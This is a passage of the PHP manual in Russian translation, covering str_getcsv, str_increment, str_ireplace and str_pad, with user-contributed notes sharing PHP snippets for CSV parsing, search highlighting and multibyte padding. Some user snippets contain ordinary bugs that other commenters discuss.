                         * Validating against pesky extra line breaks creating false rows.
                         */
                        if (is_array($line) && !empty($line[0])) {
                            $output[$line_num] = $line;
                        }
                    }
                }
                return $output;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }
}
?>
Raymond 14-Dec-2009 05:49
Here's a little function to convert a multi-line CSV string to an array:

<?php
function csv_to_array($csv, $delimiter = ',', $enclosure = '"', $escape = '\\', $terminator = "\n") {
    $r = array();
    $rows = explode($terminator,trim($csv));
    $names = array_shift($rows);
    $names = str_getcsv($names,$delimiter,$enclosure,$escape);
    $nc = count($names);
    foreach ($rows as $row) {
        if (trim($row)) {
            $values = str_getcsv($row,$delimiter,$enclosure,$escape);
            if (!$values) $values = array_fill(0,$nc,null);
            $r[] = array_combine($names,$values);
        }
    }
    return $r;
}
?>
Anonymous 16-Mar-2009 10:02
For some reason o'connor's code only reads one line of a csv for me... I had to replace the line

      $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

with this:

      $data;
      while (!feof($fp))
      {
        $data[] = fgetcsv($fp, 0, $delimiter, $enclosure); //  $escape only got added in 5.3.0
      }

...to get all of the data out of my string (some post data pasted into a textbox and processed only with stripslashes).
dave_walter at NOSPAM dot yahoo dot com 06-Feb-2009 03:32
Drawing inspiration from daniel dot oconnor at gmail dot com, here's an alternative str_putcsv() that leverages existing PHP core functionality (5.1.0+) to avoid re-inventing the wheel.

<?php
if(!function_exists('str_putcsv')) {
    function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
        // Open a memory "file" for read/write...
        $fp = fopen('php://temp', 'r+');
        // ... write the $input array to the "file" using fputcsv()...
        fputcsv($fp, $input, $delimiter, $enclosure);
        // ... rewind the "file" so we can read what we just wrote...
        rewind($fp);
        // ... read the entire line into a variable...
        $data = fgets($fp);
        // ... close the "file"...
        fclose($fp);
        // ... and return the $data to the caller, with the trailing newline from fgets() removed.
        return rtrim( $data, "\n" );
    }
}
?>
Jeremy 20-Jan-2009 05:20
After using several methods in the past to create CSV strings without using files (disk IO sucks), I finally decided it's time to write a function to handle it all. This function could use some cleanup, and the variable type test might be overkill for what is needed, I haven't thought about it too much.

Also, I took the liberty of replacing fields with certain data types with strings which I find much easier to work with. Some of you may not agree with those. Also, please note that the type "double" or float has been coded specifically for two digit precision because if I am using a float, it's most likely for currency.

I am sure some of you out there would appreciate this function.

<?php
    function str_putcsv($array, $delimiter = ',', $enclosure = '"', $terminator = "\n") {
        # First convert associative array to numeric indexed array
        foreach ($array as $key => $value) $workArray[] = $value;

        $returnString = '';                 # Initialize return string
        $arraySize = count($workArray);     # Get size of array

        for ($i=0; $i<$arraySize; $i++) {
            # Nested array, process nest item
            if (is_array($workArray[$i])) {
                $returnString .= str_putcsv($workArray[$i], $delimiter, $enclosure, $terminator);
            } else {
                switch (gettype($workArray[$i])) {
                    # Manually set some strings
                    case "NULL":     $_spFormat = ''; break;
                    case "boolean":  $_spFormat = ($workArray[$i] == true) ? 'true': 'false'; break;
                    # Make sure sprintf has a good datatype to work with
                    case "integer":  $_spFormat = '%i'; break;
                    case "double":   $_spFormat = '%0.2f'; break;
                    case "string":   $_spFormat = '%s'; break;
                    # Unknown or invalid items for a csv - note: the datatype of array is already handled above, assuming the data is nested
                    case "object":
                    case "resource":
                    default:         $_spFormat = ''; break;
                }
                                $returnString .= sprintf('%2$s'.$_spFormat.'%2$s', $workArray[$i], $enclosure);
$returnString .= ($i < ($arraySize-1)) ? $delimiter : $terminator;
            }
        }
        # Done the workload, return the output information
        return $returnString;
    }

?>
daniel dot oconnor at gmail dot com 19-Jan-2009 04:48
Don't have this? Ask fgetcsv() to do it for you.

5.1.0+

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ",", $enclosure = '"', $escape = "\\") {
        $fiveMBs = 5 * 1024 * 1024;
        $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
        fputs($fp, $input);
        rewind($fp);

        $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

        fclose($fp);
        return $data;
    }
}
?>
william dot j dot weir at gmail dot com 18-Sep-2008 03:19
If your happy enough having just a multi-dimensional array, this should work fine. I had wanted to use the one provided by keananda but it was choking on pr($lines).

<?php
function f_parse_csv($file, $longest, $delimiter) {
  $mdarray = array();
  $file    = fopen($file, "r");
  while ($line = fgetcsv($file, $longest, $delimiter)) {
    array_push($mdarray, $line);
    }
  fclose($file);
  return $mdarray;
  }
?>

$longest is a number that represents the longest line in the csv file as required by fgetcsv().  The page for fgetcsv() said that the longest line could be set to 0 or left out, but I couldn't get it to work without. I just made it extra large when I had to use it.
keananda at gmail dot com 15-Sep-2008 04:29
For those who need this function but not yet installed in their environment, you can use my function bellow.

You can parse your csv file into an associative array (by default) for each lines, or into an object.
<?php
function parse_csv($file, $options = null) {
    $delimiter = empty($options['delimiter']) ? "," : $options['delimiter'];
    $to_object = empty($options['to_object']) ? false : true;
    $str = file_get_contents($file);
    $lines = explode("\n", $str);
    pr($lines);
    $field_names = explode($delimiter, array_shift($lines));
    foreach ($lines as $line) {
        // Skip the empty line
        if (empty($line)) continue;
        $fields = explode($delimiter, $line);
        $_res = $to_object ? new stdClass : array();
        foreach ($field_names as $key => $f) {
            if ($to_object) {
                $_res->{$f} = $fields[$key];
            } else {
                $_res[$f] = $fields[$key];
            }
        }
        $res[] = $_res;
    }
    return $res;
}
?>

NOTE:
Line number 1 of the csv file will be considered as header (field names).

TODO:
- Enclosure handling
- Escape character handling
- Other features/enhancements as you need

EXAMPLE USE:
Content of /path/to/file.csv:
CODE,COUNTRY
AD,Andorra
AE,United Arab Emirates
AF,Afghanistan
AG,Antigua and Barbuda

<?php
$arr_csv = parse_csv("/path/to/file.csv");
print_r($arr_csv);
?>
// Output:
Array
(
    [0] => Array
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => Array
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => Array
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => Array
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
)

<?php
$obj_csv = parse_csv("/path/to/file.csv", array("to_object" => true));
print_r($obj_csv);
?>
// Output:
Array
(
    [0] => stdClass Object
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => stdClass Object
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => stdClass Object
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => stdClass Object
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
    [4] => stdClass Object
        (
            [CODE] =>
            [COUNTRY] =>
        )
)

// If you use character | (pipe) as delimiter in your csv file, use:
<?php
$arr_csv = parse_csv("/path/to/file.csv", array("delimiter"=>"|"));
?>

==NSD==
csv at rfc dot org 05-May-2008 01:15
RFC 4180 which deals with CSVs states the escape character is supposed to be a double quotation mark: (page 2)
   7.  If double-quotes are used to enclose fields, then a double-quote
       appearing inside a field must be escaped by preceding it with
       another double quote.  For example:

       "aaa","b""bb","ccc"


Увеличивает на единицу буквенно-цифровую строку

  • « str_getcsv
  • str_ireplace »
  • PHP Manual
  • Функции для работы со строками
  • Увеличивает на единицу буквенно-цифровую строку

str_increment

(PHP 8 >= 8.3.0)

str_increment — Увеличивает на единицу буквенно-цифровую строку

Описание

str_increment(string $string): string

Возвращает увеличенную буквенно-цифровую строку string, состоящую из символов в кодировке ASCII.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает увеличенную буквенно-цифровую строку, состоящую из ASCII-символов.

Ошибки

Будет выброшено исключение ValueError, если входная строка string пустая.

Будет выброшено исключение ValueError, если входная строка string состоит не из ASCII-символов.

Примеры

Пример #1 Базовый пример использования str_increment()

<?php
$str = 'ABC';
var_dump(str_increment($str));
?>

Результат выполнения приведённого примера:

string(3) "ABD"

Пример #2 Пример использования str_increment() с переносом (увеличением высшего разряда или разрядности)

<?php
$str = 'DZ';
var_dump(str_increment($str));

$str = 'ZZ';
var_dump(str_increment($str));
?>

Результат выполнения приведённого примера:

string(2) "EA"
string(3) "AAA"

Смотрите также

  • str_decrement() - Уменьшает на единицу буквенно-цифровую строку

User Contributed Notes

There are no user contributed notes for this page.


Регистронезависимый вариант функции str_replace

  • « str_increment
  • str_pad »
  • PHP Manual
  • Функции для работы со строками
  • Регистронезависимый вариант функции str_replace

str_ireplace

(PHP 5, PHP 7, PHP 8)

str_ireplace — Регистронезависимый вариант функции str_replace()

Описание

str_ireplace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array

Функция возвращает строку или массив, в котором заменила вхождения подстроки search во входной строке subject без учёта регистра значением replace.

Чтобы заменить текст на основе шаблона, а не фиксированной строки, используйте функцию preg_replace() с модификатором шаблона i.

Список параметров

Если параметры search и replace — массивы, функция str_ireplace() возьмёт значение из каждого массива для поиска и замены во входной строке subject. Если в массиве replace значений меньше, чем в массиве search, функция заменит остальные значения пустой строкой. Функция заменит строкой замены каждое значение массива search, если параметр search — массив, параметр replace — строка. Обратное не имело бы смысла.

Если параметры search или replace — массивами, функция обработает элементы массивов от первого к последнему.

search

Искомое значение, которое знают также как needle: иголку, которую требуется найти в стоге сена. В параметр передают массив значений, когда требуется найти несколько «иголок» одновременно.

replace

Значение замены, которым функция заменит значения search, которые найдёт. В параметр передают массив значений, когда требуется выполнить несколько замен.

subject

Строка или массив для поиска и замены, которые знают также как haystack: стог сена, в котором требуется найти иголку.

Функция выполнит поиск и замену с каждым элементом массива subject, если параметр subject — массив, и результат тоже будет массивом.

count

Функция установит для этого параметра количество замен, если аргумент передали.

Возвращаемые значения

Функция возвращает строку или массив с заменёнными значениями.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII. Байты, которые не относятся к кодировке ASCII, будут сравниваться по значению байта.

Примеры

Пример #1 Пример использования функции str_ireplace()

<?php

$bodytag = str_ireplace("%body%", "black", "<body text=%BODY%>");
echo $bodytag; // <body text=black>

?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Предостережение

Замечание о порядке замены

При множественных заменах функция str_ireplace() заменит значение, которое вставила на предыдущем шаге, очередным значением, поскольку заменяет значения слева направо. Пример № 2 на странице с описанием функции str_replace() показывает, как работают замены.

Смотрите также

  • str_replace() - Заменяет вхождения строки поиска строкой замены
  • preg_replace() - Выполняет поиск и замену по регулярному выражению
  • strtr() - Преобразовывает заданные символы или заменяет подстроки

User Contributed Notes

Tom 11-Apr-2024 11:37
Attention! str_ireplace does not destroy multibyte characters. But multibyte characters are not replaced case-insensitively.

<?php
echo  str_ireplace('A', 'Ae_', 'Agypten');  // Ae_gypten
echo  str_ireplace('a', 'ae_', 'agypten');  // ae_gypten
echo  str_ireplace('a', 'ae_', 'Agypten');  // Agypten
echo  str_ireplace('A', 'ae_', 'agypten');  // agypten
echo  str_ireplace('E', 'e_', 'egypt');  // e_gypt
echo  str_ireplace('e', 'e_', 'Egypt');  // e_gypt
echo  str_ireplace('a', 'ae_', mb_strtolower('Agypten'));  // ae_gypten
Anteaus 02-Jan-2015 08:41
If you follow the instructions given here you will end up with code which works in php5.3 but which bugs-out in php5.4. Reason is that '&$count' (explicit pass by reference) is now an illegal construct.
Nasty, especially it leads to unreliable code which may work on test but not in production. Manual needs corrected!
Psudo - thepsudo at gmail dot com 29-Jun-2011 09:53
For highlighting without the overhead of regex and without destroying capitalization, try this:

<?php
function highlight($needle, $haystack){
    $ind = stripos($haystack, $needle);
    $len = strlen($needle);
    if($ind !== false){
        return substr($haystack, 0, $ind) . "<b>" . substr($haystack, $ind, $len) . "</b>" .
            highlight($needle, substr($haystack, $ind + $len));
    } else return $haystack;
}
?>

This example uses HTML bold tags, but you can easily change the highlighting method.
holblin at holblin dot com 09-Mar-2011 01:11
Warning with highlighting ...

I used :

<?php
$text = preg_replace('/('.$q.')/i','<span class=highlighting "">$1</span>' , $text);
?>

Because this line do not allow to highlight uppercase and lowercase correctly (transform uppercase to lowercase for exemple)

<?php
 $text = str_ireplace( $q , '<span class=highlighting "">'.$q.'</span>', $text);
?>

But when $q contain some regex you have some problems ... for exemple :
<?php $q = '('; ?>

So you must use preg_replace to highlight correctly the text and you must create a function for escape bad regex caracters !

I think that a better function can be found but this works I guess :

<?php
function regex_escape( $q )
{
    return preg_replace('/([\[\]\(\)\{\}\-\.\*\?\|\^\$])/', '\$1', $q);
}
?>
stepanic dot matija at gmail dot com 21-Oct-2010 08:57
FIX-ed problem with highlighting second 'o' OR 'a', in this string

<?php
function highlight_string ($haystack, $needle, $highlight_class) {
         // return $haystack if there is no highlight color or strings given, nothing to do.

        $first_encode='XXXXXXXXXXXXXXX';     //ENCODE string

        $second_encode='YYYYYYYYYYYYYYY';

        preg_match_all("/$needle+/i", $haystack, $matches);
        if (is_array($matches[0]) && count($matches[0]) >= 1) {
            foreach ($matches[0] as $match) {
                $haystack = str_replace($match, $first_encode.$match.$second_encode, $haystack);
            }
        }

        $haystack=str_replace(array($first_encode,$second_encode),
array('<font class="'.$highlight_class.'" >','</font>'),$haystack);

        return $haystack;
}
?>
triplepoint at gmail dot com 23-Sep-2010 10:06
Regarding maintaining the case of the find/replace for search-highlighting purposes:

if the performance hit of a regular expression isn't a big problem, there's something like:

<?php
function highlight_matches($find_text, $text) {
  return preg_replace("/($find_text)/i", '<span class="search_item">$1</span>', $text);
}
?>
ishutko at gmail dot com 16-Mar-2009 01:49
For function work with cirilic

setlocale (LC_ALL, 'ru_RU');
sawdust 04-Dec-2008 07:28
Here's a different approach to search result keyword highlighting that will match all keyword sub strings in a case insensitive manner and preserve case in the returned text. This solution first grabs all matches within $haystack in a case insensitive manner, and the secondly loops through each of those matched sub strings and applies a case sensitive replace in $haystack. This way each unique (in terms of case) instance of $needle is operated on individually allowing a case sensitive replace to be done in order to preserve the original case of each unique instance of $needle.

<?php
function highlightStr($haystack, $needle, $highlightColorValue) {
     // return $haystack if there is no highlight color or strings given, nothing to do.
    if (strlen($highlightColorValue) < 1 || strlen($haystack) < 1 || strlen($needle) < 1) {
        return $haystack;
    }
    preg_match_all("/$needle+/i", $haystack, $matches);
    if (is_array($matches[0]) && count($matches[0]) >= 1) {
        foreach ($matches[0] as $match) {
            $haystack = str_replace($match, '<span style="background-color:'.$highlightColorValue.';">'.$match.'</span>', $haystack);
        }
    }
    return $haystack;
}
?>
Michael dot Bond at mail dot wvu dot edu 14-Nov-2008 06:44
This function will highlight search terms (Key Words in Context).

The difference between this one and the ones below is that it will preserve the original case of the search term as well. So, if you search for "american" but in the original string it is "American" it will retain the capital "A" as well as the correct case for the rest of the string.

<?php
function kwic($str1,$str2) {

    $kwicLen = strlen($str1);

    $kwicArray = array();
    $pos          = 0;
    $count       = 0;

    while($pos !== FALSE) {
        $pos = stripos($str2,$str1,$pos);
        if($pos !== FALSE) {
            $kwicArray[$count]['kwic'] = substr($str2,$pos,$kwicLen);
            $kwicArray[$count++]['pos']  = $pos;
            $pos++;
        }
    }

    for($I=count($kwicArray)-1;$I>=0;$I--) {
        $kwic = '<span class="kwic">'.$kwicArray[$I]['kwic'].'</span>';
        $str2 = substr_replace($str2,$kwic,$kwicArray[$I]['pos'],$kwicLen);
    }

    return($str2);
}
?>
hfuecks at nospam dot org 04-Jul-2005 02:07
Note that character case is being defined by your server's locale setting, which effects strings containing non-ASCII characters.

See strtolower() - http://www.php.net/strtolower and comments - internally str_ireplace converts $search and $replace to lowercase to find matches.
daevid at daevid dot com 05-Apr-2005 01:14
here's a neat little function I whipped up to do HTML color coding of SQL strings.

<?php
/**
 * Output the HTML debugging string in color coded glory for a sql query
 * This is very nice for being able to see many SQL queries
 * @access     public
 * @return     void. prints HTML color coded string of the input $query.
 * @param     string $query The SQL query to be executed.
 * @author     Daevid Vincent [daevid@LockdownNetworks.com]
 *  @version     1.0
 * @date        04/05/05
 * @todo     highlight SQL functions.
 */
function SQL_DEBUG( $query )
{
    if( $query == '' ) return 0;

    global $SQL_INT;
    if( !isset($SQL_INT) ) $SQL_INT = 0;

    //[dv] this has to come first or you will have goofy results later.
    $query = preg_replace("/['\"]([^'\"]*)['\"]/i", "'<FONT COLOR='#FF6600'>$1</FONT>'", $query, -1);

    $query = str_ireplace(
                            array (
                                    '*',
                                    'SELECT ',
                                    'UPDATE ',
                                    'DELETE ',
                                    'INSERT ',
                                    'INTO',
                                    'VALUES',
                                    'FROM',
                                    'LEFT',
                                    'JOIN',
                                    'WHERE',
                                    'LIMIT',
                                    'ORDER BY',
                                    'AND',
                                    'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-)
                                    'DESC',
                                    'ASC',
                                    'ON '
                                  ),
                            array (
                                    "<FONT COLOR='#FF6600'><B>*</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>SELECT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>UPDATE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>DELETE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INSERT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INTO</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>VALUES</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>FROM</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>LEFT</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>JOIN</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>WHERE</B></FONT>",
                                    "<FONT COLOR='#AA0000'><B>LIMIT</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>ORDER BY</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>AND</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>OR</B> </FONT>",
                                    "<FONT COLOR='#0000AA'><B>DESC</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>ASC</B></FONT>",
                                    "<FONT COLOR='#00DD00'><B>ON</B> </FONT>"
                                  ),
                            $query
                          );

    echo "<FONT COLOR='#0000FF'><B>SQL[".$SQL_INT."]:</B> ".$query."<FONT COLOR='#FF0000'>;</FONT></FONT><BR>\n";

    $SQL_INT++;

} //SQL_DEBUG
?>
aidan at php dot net 30-May-2004 10:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Дополняет строку другой строкой до заданной длины

  • « str_ireplace
  • str_repeat »
  • PHP Manual
  • Функции для работы со строками
  • Дополняет строку другой строкой до заданной длины

str_pad

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

str_pad — Дополняет строку другой строкой до заданной длины

Описание

str_pad(
string $string,
int $length,
string $pad_string = " ",
int $pad_type = STR_PAD_RIGHT
): string

Эта функция возвращает строку string, дополненную слева, справа или с обеих сторон до заданной длины. Если необязательный аргумент pad_string не передан, то string будет дополнен пробелами, иначе он будет дополнен символами из pad_string до нужной длины.

Список параметров

string

Входная строка.

length

Желаемая длина итоговой дополненной строки. Если значение length отрицательно, меньше или равно длине входной строки, то дополнения не происходит и возвращается исходная строка string.

pad_string

Замечание:

pad_string может быть урезана, если необходимое количество дополняемых символов не делится нацело на длину строки pad_string.

pad_type

Необязательный аргумент pad_type может иметь значение STR_PAD_RIGHT, STR_PAD_LEFT или STR_PAD_BOTH. Если не указан, то по умолчанию используется STR_PAD_RIGHT.

Возвращаемые значения

Возвращает дополненную строку.

Примеры

Пример #1 Пример использования str_pad()

<?php
$input = "Alien";
echo str_pad($input, 10); // выводит "Alien "
echo str_pad($input, 10, "-=", STR_PAD_LEFT); // выводит "-=-=-Alien"
echo str_pad($input, 10, "_", STR_PAD_BOTH); // выводит "__Alien___"
echo str_pad($input, 6, "___"); // выводит "Alien_"
echo str_pad($input, 3, "*"); // выводит "Alien"
?>

Смотрите также

  • mb_str_pad() - Дополняет мультибайтовую строку другой мультибайтовой строкой до заданной длины

User Contributed Notes

Borszczuk 18-Oct-2022 03:04
Beware, \str_pad() is NOT able to correctly handle multibyte characters and as \strlen() it is assuming one char ==  byte. If you have multibyte chars in your string your result string will be shorter than you expect:

<?php
$a = 'ac'; // 2 accented chars
$lenA = \mb_strlen($a);
echo $lenA . PHP_EOL;

$b = \str_pad($a, $lenA + 10, ' ');
$lenB = \mb_strlen($b);
echo $lenB . PHP_EOL;
?>

would produce:

2
10

instead of expected 12. There seem noth to be mb_str_pad() equivalent so you may end you concatenating your string and padding manually:

<?php
$a = 'ac'; // 2 accented chars

$b = mb_str_pad($a, $lenA + 10, ' ');
$lenB = \mb_strlen($b);
echo $lenB . PHP_EOL;

function mb_str_pad(string $str, int $len, string $pad, int $align = \STR_PAD_RIGHT): string
{
   $strLen = \mb_strlen($str);
   if ($strLen >= $len) {
      return $str;
   }

   $diff = $len - $strLen;
   $padding = \mb_substr(\str_repeat($pad, $diff), 0, $diff);

   switch ($align) {
      case \STR_PAD_BOTH:
         $diffHalf = (int)($diff/2 + 0.5);
         $padding = \str_repeat($pad, $diffHalf);
         $result = "{$padding}{$str}{$padding}";
         break;
      case \STR_PAD_LEFT:
         $result = "{$padding}{$str}";
         $result = "{$str}{$padding}";
         break;
      case \STR_PAD_RIGHT:
      default:
         $result = "{$str}{$padding}";
         break;
   }

   return \mb_substr($result, 0, $len);
}
?>

returns expected 12 char long string.
robertwhishaw at gmail dot com 07-Jun-2020 03:44
Incrementing or decrementing numbers in PHP is easy with the ++ and -- operators but it can be difficult to set the precision of the numbers. The str_pad() can be useful for concatenating a string to the beginning or end of the incrementing number to simulate a different precision.

Good example, we want to increment 001 to 002, 003, 004:

$numbers = [];

for($i = 1; $i <= 4; $i++){
    $numbers[] = str_pad($i, 3, '0', STR_PAD_LEFT);
}

print_r($numbers);

$numbers[0] => '001',
$numbers[1] => '002',
$numbers[2] => '003',
$numbers[3] => '004',

Bad example, we want to increment 001 to 002, 003, 004 but if we set $i = 001 in the for() loop to start with, 001 will be converted to 1 and the incrementing will return: 1, 2, 3, 4 etc...

$numbers = [];

for($i = 001; $i <= 4; $i++){
    $numbers[] = $i;
}

print_r($numbers);

$numbers[0] => 1,
$numbers[1] => 2,
$numbers[2] => 3,
$numbers[3] => 4,
neo_selen 04-Jun-2020 02:11
you can use str_pad to display an integer with a fixed amount of digits, like that:
0002
0003
...
0100

by just writing

<?php
    for ($i=0;$i<10000;$i++){
        echo str_pad($i,4,'0',STR_PAD_LEFT)."\n";
    }
?>

i set 4 digits (see parameter #2), but you can set any fitting your needs.
babak dot asad73 at gmail dot com 02-Jun-2020 09:07
how to add some 0 before numbers
for example 5  ===> 005

do something like this:

echo str_pad(5,3,0,STR_PAD_LEFT); // result 005

echo str_pad(4,6,0,STR_PAD_LEFT); // result 000005
NOSPAM dot php at my dot jrklein dot com 07-Dec-2019 06:53
str_pad() can provide sufficient "zero padding" when using block ciphers and manual padding with openssl_encrypt() and similar.

The example below will pad the 6 character text "Secret" with two \x00 characters and return 8 characters of data. Substitute your plain text and block size as needed.

<?php
$text = "Secret";
$block_size = 8;
$length = ceil(strlen($text) / $block_size) * $block_size;
$data = str_pad($text, $length, "\x00");
Kirill Fuchs 06-Aug-2017 09:32
sprintf() is not always faster... It certainly scales a lot better then str_pad so when running a benchmark that pads 10k characters,  sprintf will come out on top. But if you benchmarked a more real world scenario, it seems str_pad comes out the clear winner.

$sTime = microtime(true);
$count = 5;
$s = sprintf("%'\n5s", "\n");
$eTime = microtime(true);
echo 'sprintf ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

$sTime = microtime(true);
$s = str_pad("\n", 5, "\n");
$eTime = microtime(true);
echo 'str_pad ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

sprintf ran in 0.015974044799805 milliseconds
str_pad ran in 0.0059604644775391 milliseconds
pulketo at gmail dot com 12-Jun-2017 04:35
// Columnizer: add padding into text columns according maximum column size.
// sample input:
$a='[1515] -> ID=1515 / post_date=2012-06-18 04:48:47 / post_name=review-terminatrix-by-sfam
    [177] -> ID=177 / post_date=2017-05-12 12:12:03 / post_name=review-the-terminator-by-sfam
    [228621100] -> ID=2286 / post_date=2012-06-18 04:48:32 / post_name=terminator-3-rise-of-the-machines-2003';

function columnize($input, $separator=" "){
    $lines = explode("\n", $input);
    foreach ($lines as $k=>$line){
      $r[$k] = explode(" ", trim($line));
    }
    // print_r($r);
    $nc = sizeOf($r[0]);
    // echo $nc;
    for($i=0;$i<$nc;$i++){
      $col[$i] = array_column($r, $i);
      }
    // print_r($col);
    for ($i=0;$i<sizeof($col);$i++){
      $maxlen = max(array_map('strlen', $col[$i]));
      $tam[$i]=$maxlen;
      // echo "$i:$maxlen".PHP_EOL;
      $cs[$i]=$maxlen;
    }
    // print_r($cs);
    $o="";
    for ($r=0;$r<sizeOf($lines);$r++){
      for ($c=0;$c<sizeof($cs);$c++){
        $o.= str_pad($col[$c][$r], $cs[$c]+2, " ", STR_PAD_RIGHT );
      }
      $o .= PHP_EOL;
    }
    return $o;
  }

echo $columnize($a);
// will output text nicely in columns :)
gtwizard 10-Jan-2017 02:52
sprintf is faster

$sTime = microtime(true);
$s = sprintf("%'-1000000s", '-');
$eTime = microtime(true);
echo 'sprintf ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

$sTime = microtime(true);
$s = str_pad('-', 1000000, '-');
$eTime = microtime(true);
echo 'str_pad ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

//result
sprintf ran in 2.0260810852051 milliseconds
str_pad ran in 26.59797668457 milliseconds
Anonymous 11-Mar-2016 10:25
Here is the mcinp's version of mb_str_pad bugfixed:

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT,$encoding='UTF-8'){
        $mb_diff=mb_strlen($input, $encoding)-strlen($input);
        return str_pad($input,$pad_length-$mb_diff,$pad_string,$pad_type);
    }
?>

Still working correctly only if $pad_string is non-multibyte string
Anonymous 19-Jul-2015 11:13
For simple padding, you can use sprintf, which is faster:
see http://php.net/sprintf Example #5 "Specifying padding character"
mcinp 29-Jan-2015 04:04
a different, more robust multibyte version of str_pad that works correctly only if $pad_string is non-multibyte string

function my_mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT,$encoding='UTF-8'){
    $mb_diff=mb_strlen($str, $encoding)-strlen($string);
    return str_pad($input,$pad_length+$mb_diff,$pad_string,$pad_type);
}
wes at nospamplsexample dot org 28-Nov-2014 06:29
multibyte version:

<?php
function mb_str_pad($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT, $encoding = NULL)
{
    $encoding = $encoding === NULL ? mb_internal_encoding() : $encoding;
    $padBefore = $dir === STR_PAD_BOTH || $dir === STR_PAD_LEFT;
    $padAfter = $dir === STR_PAD_BOTH || $dir === STR_PAD_RIGHT;
    $pad_len -= mb_strlen($str, $encoding);
    $targetLen = $padBefore && $padAfter ? $pad_len / 2 : $pad_len;
    $strToRepeatLen = mb_strlen($pad_str, $encoding);
    $repeatTimes = ceil($targetLen / $strToRepeatLen);
    $repeatedString = str_repeat($pad_str, max(0, $repeatTimes)); // safe if used with valid utf-8 strings
    $before = $padBefore ? mb_substr($repeatedString, 0, floor($targetLen), $encoding) : '';
    $after = $padAfter ? mb_substr($repeatedString, 0, ceil($targetLen), $encoding) : '';
    return $before . $str . $after;
}
?>
Marjune 17-Nov-2014 03:45
since the default pad_type is STR_PAD_RIGHT. using STR_PAD_BOTH were always favor in the right pad if the required number of padding characters can't be evenly divided.

e.g

<?php

echo str_pad("input", 10, "pp", STR_PAD_BOTH ); // ppinputppp
echo str_pad("input", 6, "p", STR_PAD_BOTH ); // inputp
echo str_pad("input", 8, "p", STR_PAD_BOTH ); //pinputpp

?>
qeremy [atta] gmail [dotta] com 20-Jan-2013 01:44
A proper unicode string padder;

<?php
mb_internal_encoding('utf-8'); // @important

function str_pad_unicode($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT) {
    $str_len = mb_strlen($str);
    $pad_str_len = mb_strlen($pad_str);
    if (!$str_len && ($dir == STR_PAD_RIGHT || $dir == STR_PAD_LEFT)) {
        $str_len = 1; // @debug
    }
    if (!$pad_len || !$pad_str_len || $pad_len <= $str_len) {
        return $str;
    }

    $result = null;
    $repeat = ceil($str_len - $pad_str_len + $pad_len);
    if ($dir == STR_PAD_RIGHT) {
        $result = $str . str_repeat($pad_str, $repeat);
        $result = mb_substr($result, 0, $pad_len);
    } else if ($dir == STR_PAD_LEFT) {
        $result = str_repeat($pad_str, $repeat) . $str;
        $result = mb_substr($result, -$pad_len);
    } else if ($dir == STR_PAD_BOTH) {
        $length = ($pad_len - $str_len) / 2;
        $repeat = ceil($length / $pad_str_len);
        $result = mb_substr(str_repeat($pad_str, $repeat), 0, floor($length))
                    . $str
                       . mb_substr(str_repeat($pad_str, $repeat), 0, ceil($length));
    }

    return $result;
}
?>

Test;
<?php
// needs ie. "test.php" file encoded in "utf-8 without bom"
$s = '...';
for ($i = 3; $i <= 1000; $i++) {
    $s1 = str_pad($s, $i, 'AO', STR_PAD_BOTH); // can not inculde unicode char!!!
    $s2 = str_pad_unicode($s, $i, 'AO', STR_PAD_BOTH);
    $sl1 = strlen($s1);
    $sl2 = mb_strlen($s2);
    echo  "len $sl1: $s1 \n";
    echo  "len $sl2: $s2 \n";
    echo  "\n";
    if ($sl1 != $sl2) die("Fail!");
}
?>

Output;
len 3: ...
len 3: ...

len 4: ...A
len 4: ...A

len 5: A...A
len 5: A...A

len 6: A...AO
len 6: A...AO
...
sergey 12-Oct-2011 02:45
You can use trim functions for clearpad string:

ltrim("0001230", "0") -> 1230
